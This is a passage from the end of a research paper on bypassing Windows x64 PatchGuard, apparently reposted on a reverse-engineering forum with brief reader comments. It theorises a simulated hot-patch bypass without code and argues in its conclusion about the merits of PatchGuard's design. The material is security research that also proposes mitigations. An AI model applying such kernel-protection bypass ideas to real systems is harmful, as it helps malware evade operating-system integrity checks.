determine that PatchGuard is running.

4.5)  Simulated Hot Patching

The documentation associated with PatchGuard states that it still allows
the operating system to be hot-patched through their runtime patching
API.  For this reason, it should be possible to simulate a hot-patch
that would appear to PatchGuard as having been legitimate.  At the time
of this writing, the authors have not taken the time to understand the
manner in which this could be accomplished, but it is left open to
further research.  Assuming an approach was found that allowed this
technique to work reliably, it stands to reason that doing so would be
the most preferred route because it would be making use of a documented
approach for the circumvention of PatchGuard.

5) Conclusion

The development of a solution that is intended to mitigate the
unauthorized modification of various critical portions of the kernel can
be seen as a rather daunting task, especially when considering the need
to ensure that the routines actually used for the validation of the
kernel cannot be tampered with. This document has shown how Microsoft
has approached the problem with their PatchGuard implementation on
x64-based versions of the Windows kernel.  The implementations of the
approaches used to protect the various critical data structures
associated with the kernel, such as system images, SSDT, IDT/GDT, and
MSRs, have been explained in detail.

With an understanding of the implementation of PatchGuard, it is only
fitting to consider ways it which it might be subverted.  In that light,
this paper has proposed a few different techniques that could be used to
bypass PatchGuard that have either been proven to work or are theorized
to work.  In the interest of not identifying a problem without also
proposing a solution, each bypass technique has an associated list of
ways in which the technique could be mitigated by Microsoft in the
future.

Unfortunately, Microsoft is at a disadvantage with PatchGuard, and it's
one that they are perfectly aware of.  This disadvantage stems from the
fact that PatchGuard is designed to run from the same protection domain
as the code that it is designed to protect from.  In more concise terms,
PatchGuard runs just like any third-party driver, and it runs with the
same set of privileges. Due to this fact, it is impossible to guarantee
that a third-party driver won't be able to do something that will
prevent PatchGuard from being able to do its job since there is no way
for PatchGuard to completely protect itself.  Since this problem was
known going into the implementation of PatchGuard, Microsoft chose to
use the only weapons readily available to them: obfuscation and
misdirection.  While most consider security through obscurity to be no
security at all in the face of a sufficiently motivated engineer, it
does indeed raise the bar enough that most programmers and third-party
entities would not have the interest in finding a way to bypass it and
instead would be more motivated to find a condoned method of
accomplishing their goals.

In cases such as this one it is sometimes important to take a step back
and consider if the avenue that has been taken is actually the right
one.  In particular, Microsoft has decided to take an aggressive stance
against patching different parts of the kernel in the interest of making
Windows more stable.  While this desire seems very reasonable and
logical, it comes at a certain cost. Due to the fact that Windows is a
closed source operating system, third-party software vendors sometimes
find themselves forced to bend the rules in order to accomplish the
goals of their product. This is especially true in the security industry
where security software vendors find themselves having to try to layer
deeper than malicious code.  It could be argued that PatchGuard's
implementation will prevent the malicious techniques from being
possible, thus freeing up the security software vendors to more
reasonable points of entry.  The fact of the matter is, though, that
while security software vendors may not make use of techniques used to
bypass PatchGuard due to marketing and security concerns, it can
certainly be said that malicious code will.  As such, malicious code
actually gains an upper-hand in the competition since security vendors
end up with their hands tied behind their back.  In order to address
this concern, Microsoft appears to be willing to work actively with
vendors to ensure that they are still able to accomplish their goals
through more acceptable and documented approaches.

Another important question to consider is whether or not Microsoft will
really break a vendor that has deployed a solution to millions of
systems that happens to disable PatchGuard through a bypass technique.
One could feasibly see a McAfee or Symantec doing something like this,
although Microsoft would hope to leverage their business ties to ensure
that McAfee and Symantec did not have to resort to such a technique.
The fact that McAfee and Symantec are such large companies lends them a
certain amount of leverage when negotiating with Microsoft, but the
smaller companies are most likely going to not be subject to the same
level of respect and consideration.

The question remains, though.  Is PatchGuard really the right approach?
If one assumes that Microsoft will aggressively ensure that PatchGuard
breaks malicious code and software vendors who attempt to bypass it by
releasing updates in the future that intentionally break the bypass
approaches, which is what has been indicated so far, then it stands to
reason that Microsoft could be heading down a path that leads to the
kernel actually being more unstable due to more extreme measures being
required.  Even if Microsoft extends its hand to other companies to
provide ways of hooking into the kernel at various levels, it will most
likely always be the case that there will be a task that a company needs
to accomplish that will not be readily possible without intervention
from Microsoft.  Unless Microsoft is willing to provide these companies
with re-distributable code that makes it so third-party drivers will
work on all existing versions of x64, then the point becomes moot.
Compatibility is a key requirement not only for Microsoft, but also for
third-party vendors, and a solution that won't work on all versions of
the x64 kernel is no solution at all for most companies.

If Microsoft were to go back in time and eliminate PatchGuard, what
other options might be exposed to them that could be used to supplement
the problem at hand?  The answer to this question is very subjective,
but the authors believe that one way in which Microsoft could solve
this, at least in part, would be through a better defined and condoned
hooking model (like hooking VxD services in Windows 9x).  The majority
of routines hooked by legitimate products are used by vendors to layer
between certain major subsystems, such as between the hardware and the
kernel or between user-mode and the kernel.  Since the majority of
stability problems that third-party vendors introduce with runtime
patching have to do with incorrect or unsafe assumptions within their
hook routines, it would behoove Microsoft to provide a defined hooking
model that expressed the limitations and restrictions associated with
each function that can be hooked.  While this might seem like a grand
undertaking, the fact of the matter is that it's not.

By limiting the hooking model to exported routines, Microsoft could make
use of existing documentation that defines the behaviors and limitations
of the documented functions, such as their IRQL and calling
restrictions. While limiting the hooking model to exported functions
does not cover everything, it's at least a start, and the concepts used
to achieve it could be wrapped into an equally useful interface for
commonly undocumented or non-exported routines. The biggest problem with
this approach, however, is that it would appear to limit Microsoft's
control over the direction that the kernel takes, and in some ways it
does. However, it should already be safe to assume that exported
symbols, at least in relation to documented ones, cannot be eliminated
or largely changed after a release as to ensure backward compatibility.
This only serves to bolster the point that a defined hooking model for
documented, exported routines would not only be feasible but also
relatively safe.

Regardless of what may or may not have been a better approach,
the lack of a time machine makes the end result of the discussion mostly
meaningless.  In the end, judging from the amount of work and thought
put into the implementation of PatchGuard, the authors feel comfortable
in saying that Microsoft has done a commendable job.  Only time will
tell how effective PatchGuard is, both at a software and business level,
and it will be interesting to see how the field plays out.

AMD.  The AMD x86-64 Architecture Programmers Overview.
http://www.amd.com/us-en/assets/contenttype/whitepapersandtechdocs/x86-64overview.pdf;
accessed Nov 30, 2005.

AMD.  AMD64 Architecture Programmer's Manual Volume 3.
http://www.amd.com/us-en/assets/content_type/white_papers_and_tech_docs/24594.pdf;
accessed Dec 1, 2005.

Microsoft Corporation. Patching Policy for x64-Based Systems.
http://www.microsoft.com/whdc/driver/kernel/64bitPatching.mspx;
accessed Nov 28, 2005.

[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)

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雪    币: 846
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这东西也未免太长了。。。留个记号,日后用得着。。
2007-3-12 23:33
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oooooooh,My God.
Vista照样可以Hook  SSDT了
2007-3-13 10:17
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太长了,费劲,希望有好心人可以翻译下的。
2007-3-15 12:54
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64位操作系统的HOOK    太神奇了
2010-3-6 15:20
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mark 有时间再来学习下
2011-12-25 13:06
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mark看看
2011-12-25 13:51
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